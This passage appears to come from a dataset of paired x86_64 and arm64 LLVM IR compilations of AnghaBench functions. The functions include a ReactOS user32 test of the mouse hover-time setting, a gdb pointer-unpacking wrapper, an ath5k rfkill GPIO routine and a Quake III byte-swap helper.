%32 = call i32 @eq(i32 noundef %31, i32 noundef 10, ptr noundef nonnull @.str.1, ptr noundef nonnull @.str.4) #3
call void @llvm.lifetime.end.p0(i64 10, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 10, ptr nonnull %3) #3
%33 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !5
%34 = load i32, ptr @SPIF_UPDATEINIFILE, align 4, !tbaa !5
%35 = load i32, ptr @SPIF_SENDCHANGE, align 4, !tbaa !5
%36 = or i32 %35, %34
%37 = call i32 @SystemParametersInfoA(i32 noundef %33, i32 noundef 32767, ptr noundef null, i32 noundef %36) #3
%38 = call i32 @test_error_msg(i32 noundef %37, ptr noundef nonnull @.str.2) #3
%39 = icmp eq i32 %38, 0
br i1 %39, label %61, label %40
40: ; preds = %18
%41 = call i32 (...) @GetLastError() #3
%42 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %37, ptr noundef nonnull @.str.3, i32 noundef 1, i32 noundef %37, i32 noundef %41) #3
%43 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !5
%44 = call i32 @test_change_message(i32 noundef %43, i32 noundef 0) #3
%45 = call i32 @sprintf(ptr noundef nonnull %3, ptr noundef nonnull @.str.4, i32 noundef 32767) #3
%46 = load i32, ptr @SPI_SETMOUSEHOVERTIME_REGKEY, align 4, !tbaa !5
%47 = load i32, ptr @SPI_SETMOUSEHOVERTIME_VALNAME, align 4, !tbaa !5
%48 = call i32 @test_reg_key(i32 noundef %46, i32 noundef %47, ptr noundef nonnull %3) #3
%49 = load i32, ptr @SPI_GETMOUSEHOVERTIME, align 4, !tbaa !5
%50 = call i32 @SystemParametersInfoA(i32 noundef %49, i32 noundef 0, ptr noundef nonnull %2, i32 noundef 0) #3
%51 = call i32 (...) @GetLastError() #3
%52 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %37, ptr noundef nonnull @.str.3, i32 noundef 1, i32 noundef %37, i32 noundef %51) #3
%53 = load i32, ptr %2, align 4, !tbaa !5
%54 = call i32 @eq(i32 noundef %53, i32 noundef 32767, ptr noundef nonnull @.str.1, ptr noundef nonnull @.str.4) #3
call void @llvm.lifetime.end.p0(i64 10, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #3
%55 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !5
%56 = load i32, ptr %1, align 4, !tbaa !5
%57 = load i32, ptr @SPIF_UPDATEINIFILE, align 4, !tbaa !5
%58 = call i32 @SystemParametersInfoA(i32 noundef %55, i32 noundef %56, ptr noundef null, i32 noundef %57) #3
%59 = call i32 (...) @GetLastError() #3
%60 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %58, ptr noundef nonnull @.str.5, i32 noundef %58, i32 noundef %59) #3
br label %62
61: ; preds = %18, %10
call void @llvm.lifetime.end.p0(i64 10, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #3
br label %62
62: ; preds = %61, %0, %40
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %1) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @trace(ptr noundef) local_unnamed_addr #2
declare i32 @SetLastError(i32 noundef) local_unnamed_addr #2
declare i32 @SystemParametersInfoA(i32 noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @test_error_msg(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @ok(i32 noundef, ptr noundef, i32 noundef, i32 noundef, ...) local_unnamed_addr #2
declare i32 @GetLastError(...) local_unnamed_addr #2
declare i32 @test_change_message(i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @test_reg_key(i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @eq(i32 noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/reactos/modules/rostests/winetests/user32/extr_sysparams.c_test_SPI_SETMOUSEHOVERTIME.c'
source_filename = "AnghaBench/reactos/modules/rostests/winetests/user32/extr_sysparams.c_test_SPI_SETMOUSEHOVERTIME.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [37 x i8] c"testing SPI_{GET,SET}MOUSEHOVERTIME\0A\00", align 1
@SPI_GETMOUSEHOVERTIME = common local_unnamed_addr global i32 0, align 4
@.str.1 = private unnamed_addr constant [28 x i8] c"SPI_{GET,SET}MOUSEHOVERTIME\00", align 1
@SPI_SETMOUSEHOVERTIME = common local_unnamed_addr global i32 0, align 4
@SPIF_UPDATEINIFILE = common local_unnamed_addr global i32 0, align 4
@SPIF_SENDCHANGE = common local_unnamed_addr global i32 0, align 4
@.str.2 = private unnamed_addr constant [22 x i8] c"SPI_SETMOUSEHOVERTIME\00", align 1
@.str.3 = private unnamed_addr constant [18 x i8] c"%d: rc=%d err=%d\0A\00", align 1
@.str.4 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@SPI_SETMOUSEHOVERTIME_REGKEY = common local_unnamed_addr global i32 0, align 4
@SPI_SETMOUSEHOVERTIME_VALNAME = common local_unnamed_addr global i32 0, align 4
@.str.5 = private unnamed_addr constant [66 x i8] c"***warning*** failed to restore the original value: rc=%d err=%d\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @test_SPI_SETMOUSEHOVERTIME], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @test_SPI_SETMOUSEHOVERTIME() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca [10 x i8], align 1
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %1) #3
%4 = tail call i32 @trace(ptr noundef nonnull @.str) #3
%5 = tail call i32 @SetLastError(i32 noundef -559038737) #3
%6 = load i32, ptr @SPI_GETMOUSEHOVERTIME, align 4, !tbaa !6
%7 = call i32 @SystemParametersInfoA(i32 noundef %6, i32 noundef 0, ptr noundef nonnull %1, i32 noundef 0) #3
%8 = call i32 @test_error_msg(i32 noundef %7, ptr noundef nonnull @.str.1) #3
%9 = icmp eq i32 %8, 0
br i1 %9, label %62, label %10
10: ; preds = %0
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 10, ptr nonnull %3) #3
%11 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !6
%12 = load i32, ptr @SPIF_UPDATEINIFILE, align 4, !tbaa !6
%13 = load i32, ptr @SPIF_SENDCHANGE, align 4, !tbaa !6
%14 = or i32 %13, %12
%15 = call i32 @SystemParametersInfoA(i32 noundef %11, i32 noundef 10, ptr noundef null, i32 noundef %14) #3
%16 = call i32 @test_error_msg(i32 noundef %15, ptr noundef nonnull @.str.2) #3
%17 = icmp eq i32 %16, 0
br i1 %17, label %61, label %18
18: ; preds = %10
%19 = call i32 @GetLastError() #3
%20 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %15, ptr noundef nonnull @.str.3, i32 noundef 0, i32 noundef %15, i32 noundef %19) #3
%21 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !6
%22 = call i32 @test_change_message(i32 noundef %21, i32 noundef 0) #3
%23 = call i32 @sprintf(ptr noundef nonnull %3, ptr noundef nonnull @.str.4, i32 noundef 10) #3
%24 = load i32, ptr @SPI_SETMOUSEHOVERTIME_REGKEY, align 4, !tbaa !6
%25 = load i32, ptr @SPI_SETMOUSEHOVERTIME_VALNAME, align 4, !tbaa !6
%26 = call i32 @test_reg_key(i32 noundef %24, i32 noundef %25, ptr noundef nonnull %3) #3
%27 = load i32, ptr @SPI_GETMOUSEHOVERTIME, align 4, !tbaa !6
%28 = call i32 @SystemParametersInfoA(i32 noundef %27, i32 noundef 0, ptr noundef nonnull %2, i32 noundef 0) #3
%29 = call i32 @GetLastError() #3
%30 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %15, ptr noundef nonnull @.str.3, i32 noundef 0, i32 noundef %15, i32 noundef %29) #3
%31 = load i32, ptr %2, align 4, !tbaa !6
%32 = call i32 @eq(i32 noundef %31, i32 noundef 10, ptr noundef nonnull @.str.1, ptr noundef nonnull @.str.4) #3
call void @llvm.lifetime.end.p0(i64 10, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %2) #3
call void @llvm.lifetime.start.p0(i64 10, ptr nonnull %3) #3
%33 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !6
%34 = load i32, ptr @SPIF_UPDATEINIFILE, align 4, !tbaa !6
%35 = load i32, ptr @SPIF_SENDCHANGE, align 4, !tbaa !6
%36 = or i32 %35, %34
%37 = call i32 @SystemParametersInfoA(i32 noundef %33, i32 noundef 32767, ptr noundef null, i32 noundef %36) #3
%38 = call i32 @test_error_msg(i32 noundef %37, ptr noundef nonnull @.str.2) #3
%39 = icmp eq i32 %38, 0
br i1 %39, label %61, label %40
40: ; preds = %18
%41 = call i32 @GetLastError() #3
%42 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %37, ptr noundef nonnull @.str.3, i32 noundef 1, i32 noundef %37, i32 noundef %41) #3
%43 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !6
%44 = call i32 @test_change_message(i32 noundef %43, i32 noundef 0) #3
%45 = call i32 @sprintf(ptr noundef nonnull %3, ptr noundef nonnull @.str.4, i32 noundef 32767) #3
%46 = load i32, ptr @SPI_SETMOUSEHOVERTIME_REGKEY, align 4, !tbaa !6
%47 = load i32, ptr @SPI_SETMOUSEHOVERTIME_VALNAME, align 4, !tbaa !6
%48 = call i32 @test_reg_key(i32 noundef %46, i32 noundef %47, ptr noundef nonnull %3) #3
%49 = load i32, ptr @SPI_GETMOUSEHOVERTIME, align 4, !tbaa !6
%50 = call i32 @SystemParametersInfoA(i32 noundef %49, i32 noundef 0, ptr noundef nonnull %2, i32 noundef 0) #3
%51 = call i32 @GetLastError() #3
%52 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %37, ptr noundef nonnull @.str.3, i32 noundef 1, i32 noundef %37, i32 noundef %51) #3
%53 = load i32, ptr %2, align 4, !tbaa !6
%54 = call i32 @eq(i32 noundef %53, i32 noundef 32767, ptr noundef nonnull @.str.1, ptr noundef nonnull @.str.4) #3
call void @llvm.lifetime.end.p0(i64 10, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #3
%55 = load i32, ptr @SPI_SETMOUSEHOVERTIME, align 4, !tbaa !6
%56 = load i32, ptr %1, align 4, !tbaa !6
%57 = load i32, ptr @SPIF_UPDATEINIFILE, align 4, !tbaa !6
%58 = call i32 @SystemParametersInfoA(i32 noundef %55, i32 noundef %56, ptr noundef null, i32 noundef %57) #3
%59 = call i32 @GetLastError() #3
%60 = call i32 (i32, ptr, i32, i32, ...) @ok(i32 noundef %58, ptr noundef nonnull @.str.5, i32 noundef %58, i32 noundef %59) #3
br label %62
61: ; preds = %18, %10
call void @llvm.lifetime.end.p0(i64 10, ptr nonnull %3) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %2) #3
br label %62
62: ; preds = %61, %0, %40
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %1) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @trace(ptr noundef) local_unnamed_addr #2
declare i32 @SetLastError(i32 noundef) local_unnamed_addr #2
declare i32 @SystemParametersInfoA(i32 noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @test_error_msg(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @ok(i32 noundef, ptr noundef, i32 noundef, i32 noundef, ...) local_unnamed_addr #2
declare i32 @GetLastError(...) local_unnamed_addr #2
declare i32 @test_change_message(i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @test_reg_key(i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @eq(i32 noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| reactos_modules_rostests_winetests_user32_extr_sysparams.c_test_SPI_SETMOUSEHOVERTIME |
; ModuleID = 'AnghaBench/freebsd/contrib/gdb/gdb/extr_values.c_unpack_pointer.c'
source_filename = "AnghaBench/freebsd/contrib/gdb/gdb/extr_values.c_unpack_pointer.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define dso_local i32 @unpack_pointer(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = tail call i32 @unpack_long(ptr noundef %0, ptr noundef %1) #2
ret i32 %3
}
declare i32 @unpack_long(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/freebsd/contrib/gdb/gdb/extr_values.c_unpack_pointer.c'
source_filename = "AnghaBench/freebsd/contrib/gdb/gdb/extr_values.c_unpack_pointer.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define i32 @unpack_pointer(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 {
%3 = tail call i32 @unpack_long(ptr noundef %0, ptr noundef %1) #2
ret i32 %3
}
declare i32 @unpack_long(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| freebsd_contrib_gdb_gdb_extr_values.c_unpack_pointer |
; ModuleID = 'AnghaBench/linux/drivers/net/wireless/ath/ath5k/extr_rfkill.c_ath5k_rfkill_enable.c'
source_filename = "AnghaBench/linux/drivers/net/wireless/ath/ath5k/extr_rfkill.c_ath5k_rfkill_enable.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_2__ = type { i32, i32 }
@ATH5K_DEBUG_ANY = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [37 x i8] c"rfkill enable (gpio:%d polarity:%d)\0A\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @ath5k_rfkill_enable], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal void @ath5k_rfkill_enable(ptr noundef %0) #0 {
%2 = load i32, ptr @ATH5K_DEBUG_ANY, align 4, !tbaa !5
%3 = getelementptr inbounds %struct.TYPE_2__, ptr %0, i64 0, i32 1
%4 = load i32, ptr %3, align 4, !tbaa !9
%5 = load i32, ptr %0, align 4, !tbaa !12
%6 = tail call i32 @ATH5K_DBG(ptr noundef nonnull %0, i32 noundef %2, ptr noundef nonnull @.str, i32 noundef %4, i32 noundef %5) #2
%7 = load i32, ptr %3, align 4, !tbaa !9
%8 = tail call i32 @ath5k_hw_set_gpio_output(ptr noundef nonnull %0, i32 noundef %7) #2
%9 = load i32, ptr %3, align 4, !tbaa !9
%10 = load i32, ptr %0, align 4, !tbaa !12
%11 = tail call i32 @ath5k_hw_set_gpio(ptr noundef nonnull %0, i32 noundef %9, i32 noundef %10) #2
ret void
}
declare i32 @ATH5K_DBG(ptr noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @ath5k_hw_set_gpio_output(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @ath5k_hw_set_gpio(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !6, i64 4}
!10 = !{!"ath5k_hw", !11, i64 0}
!11 = !{!"TYPE_2__", !6, i64 0, !6, i64 4}
!12 = !{!10, !6, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/net/wireless/ath/ath5k/extr_rfkill.c_ath5k_rfkill_enable.c'
source_filename = "AnghaBench/linux/drivers/net/wireless/ath/ath5k/extr_rfkill.c_ath5k_rfkill_enable.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@ATH5K_DEBUG_ANY = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [37 x i8] c"rfkill enable (gpio:%d polarity:%d)\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @ath5k_rfkill_enable], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal void @ath5k_rfkill_enable(ptr noundef %0) #0 {
%2 = load i32, ptr @ATH5K_DEBUG_ANY, align 4, !tbaa !6
%3 = getelementptr inbounds i8, ptr %0, i64 4
%4 = load i32, ptr %3, align 4, !tbaa !10
%5 = load i32, ptr %0, align 4, !tbaa !13
%6 = tail call i32 @ATH5K_DBG(ptr noundef nonnull %0, i32 noundef %2, ptr noundef nonnull @.str, i32 noundef %4, i32 noundef %5) #2
%7 = load i32, ptr %3, align 4, !tbaa !10
%8 = tail call i32 @ath5k_hw_set_gpio_output(ptr noundef nonnull %0, i32 noundef %7) #2
%9 = load i32, ptr %3, align 4, !tbaa !10
%10 = load i32, ptr %0, align 4, !tbaa !13
%11 = tail call i32 @ath5k_hw_set_gpio(ptr noundef nonnull %0, i32 noundef %9, i32 noundef %10) #2
ret void
}
declare i32 @ATH5K_DBG(ptr noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @ath5k_hw_set_gpio_output(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @ath5k_hw_set_gpio(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 4}
!11 = !{!"ath5k_hw", !12, i64 0}
!12 = !{!"TYPE_2__", !7, i64 0, !7, i64 4}
!13 = !{!11, !7, i64 0}
| linux_drivers_net_wireless_ath_ath5k_extr_rfkill.c_ath5k_rfkill_enable |
; ModuleID = 'AnghaBench/Quake-III-Arena/code/unix/extr_..client..gameq_shared.h_BigLong.c'
source_filename = "AnghaBench/Quake-III-Arena/code/unix/extr_..client..gameq_shared.h_BigLong.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @BigLong], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal i32 @BigLong(i32 noundef %0) #0 {
%2 = tail call i32 @LongSwap(i32 noundef %0) #2
ret i32 %2
}
declare i32 @LongSwap(i32 noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/Quake-III-Arena/code/unix/extr_..client..gameq_shared.h_BigLong.c'
source_filename = "AnghaBench/Quake-III-Arena/code/unix/extr_..client..gameq_shared.h_BigLong.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @BigLong], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal i32 @BigLong(i32 noundef %0) #0 {
%2 = tail call i32 @LongSwap(i32 noundef %0) #2
ret i32 %2
}
declare i32 @LongSwap(i32 noundef) local_unnamed_addr #1
